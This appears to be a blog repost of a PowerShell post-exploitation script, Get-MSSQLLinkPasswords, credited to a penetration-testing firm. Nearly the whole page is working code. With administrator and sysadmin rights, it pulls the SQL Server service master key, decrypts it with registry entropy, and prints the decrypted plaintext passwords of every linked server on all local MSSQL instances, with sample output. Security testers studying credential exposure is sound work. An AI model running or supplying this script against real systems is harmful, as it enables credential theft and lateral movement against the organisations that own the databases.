github
14 July 2016
No Comment
function Get-MSSQLLinkPasswords{
<#
.SYNOPSIS
Extract and decrypt MSSQL linked server passwords.
Author: Antti Rantasaari 2014, NetSPI
License: BSD 3-Clause
.DESCRIPTION
Get-MSSQLLinkPasswords extracts and decrypts the connection credentials for all linked servers that use SQL Server authentication on all local MSSQL instances.
.INPUTS
None
.OUTPUTS
System.Data.DataRow
Returns a datatable consisting of MSSQL instance name, linked server name, user account, and decrypted password.
.EXAMPLE
C:\PS> Get-MSSQLLinkPasswords
Instance Linkserver User Password
——– ———- —- ——–
SQLEXPRESS SQLSERVER2 test test
SQLEXPRESS DEV-SQL dev Passw0rd01!
SQL2012 DEV-SQL dev Passw0rd01!
SQL2012 WEBDB sa W3bDB$4P4ssw0rd
SQL2012 VAULT sa !@#Sup3rS3cr3tP4$$w0rd!!$$
.NOTES
For successful execution, the following configurations and privileges are needed:
- DAC connectivity to MSSQL instances
- Local administrator privileges (needed to access registry key)
- Sysadmin privileges to MSSQL instances
.LINK
http://www.netspi.com/blog/
#>
Add-Type -assembly System.Security
Add-Type -assembly System.Core
# Set local computername and get all SQL Server instances
$ComputerName = $Env:computername
$SqlInstances = (Get-ItemProperty -Path ‘HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server’ -Name InstalledInstances).InstalledInstances
$Results = New-Object “System.Data.DataTable”
$Results.Columns.Add(“Instance”) | Out-Null
$Results.Columns.Add(“Linkserver”) | Out-Null
$Results.Columns.Add(“User”) | Out-Null
$Results.Columns.Add(“Password”) | Out-Null
foreach ($InstanceName in $SqlInstances) {
# Start DAC connection to SQL Server
# Default instance MSSQLSERVER -> instance name cannot be used in connection string
if ($InstanceName -eq “MSSQLSERVER”) {
$ConnString = “Server=ADMIN:$ComputerName\;Trusted_Connection=True”
}
else {
$ConnString = “Server=ADMIN:$ComputerName\$InstanceName;Trusted_Connection=True”
}
$Conn = New-Object System.Data.SqlClient.SQLConnection($ConnString);
Try{$Conn.Open();}
Catch{
Write-Error “Error creating DAC connection: $_.Exception.Message”
Continue
}
if ($Conn.State -eq “Open”){
# Query Service Master Key from the database – remove padding from the key
# key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey
$SqlCmd=”SELECT substring(crypt_property,9,len(crypt_property)-8) FROM sys.key_encryptions WHERE key_id=102 and (thumbprint=0×03 or thumbprint=0×0300000001)”
$Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
$SmkBytes=$Cmd.ExecuteScalar()
# Get entropy from the registry – hopefully finds the right SQL server instance
$RegPath = (Get-ItemProperty -Path “HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\”).$InstanceName
[byte[]]$Entropy = (Get-ItemProperty -Path “HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\”).Entropy
# Decrypt the service master key
$ServiceKey = [System.Security.Cryptography.ProtectedData]::Unprotect($SmkBytes, $Entropy, ‘LocalMachine’)
# Choose the encryption algorithm based on the SMK length – 3DES for 2008, AES for 2012
# Choose IV length based on the algorithm
if (($ServiceKey.Length -eq 16) -or ($ServiceKey.Length -eq 32)) {
if ($ServiceKey.Length -eq 16) {
$Decryptor = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$IvLen=8
} elseif ($ServiceKey.Length -eq 32){
$Decryptor = New-Object System.Security.Cryptography.AESCryptoServiceProvider
$IvLen=16
}
# Query link server password information from the DB
# Remove header from pwdhash, extract IV (as iv) and ciphertext (as pass)
# Ignore links with blank credentials (integrated auth ?)
$SqlCmd = “SELECT sysservers.srvname,syslnklgns.name,substring(syslnklgns.pwdhash,5,$ivlen) iv,substring(syslnklgns.pwdhash,$($ivlen+5),
len(syslnklgns.pwdhash)-$($ivlen+4)) pass FROM master.sys.syslnklgns inner join master.sys.sysservers on syslnklgns.srvid=sysservers.srvid WHERE len(pwdhash)>0″
$Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
$Data=$Cmd.ExecuteReader()
$Dt = New-Object “System.Data.DataTable”
$Dt.Load($Data)
# Go through each row in results
foreach ($Logins in $Dt) {
# decrypt the password using the service master key and the extracted IV
$Decryptor.Padding = “None”
$Decrypt = $Decryptor.CreateDecryptor($ServiceKey,$Logins.iv)
$Stream = New-Object System.IO.MemoryStream (,$Logins.pass)
$Crypto = New-Object System.Security.Cryptography.CryptoStream $Stream,$Decrypt,”Write”
$Crypto.Write($Logins.pass,0,$Logins.pass.Length)
[byte[]]$Decrypted = $Stream.ToArray()
# convert decrypted password to unicode
$EncodingType = “System.Text.UnicodeEncoding”
$Encode = New-Object $EncodingType
# Print results – removing the weird padding (8 bytes in the front, some bytes at the end)…
# Might cause problems but so far seems to work.. may be dependant on SQL server version…
# If problems arise remove the next three lines..
$i=8
foreach ($b in $Decrypted) {if ($Decrypted[$i] -ne 0 -and $Decrypted[$i+1] -ne 0 -or $i -eq $Decrypted.Length) {$i -= 1; break;}; $i += 1;}
$Decrypted = $Decrypted[8..$i]
$Results.Rows.Add($InstanceName,$($Logins.srvname),$($Logins.name),$($Encode.GetString($Decrypted))) | Out-Null
}
} else {
Write-Error “Unknown key size”
}
$Conn.Close();
}
}
$Results
}
Leave your response!
You must be logged in to post a comment.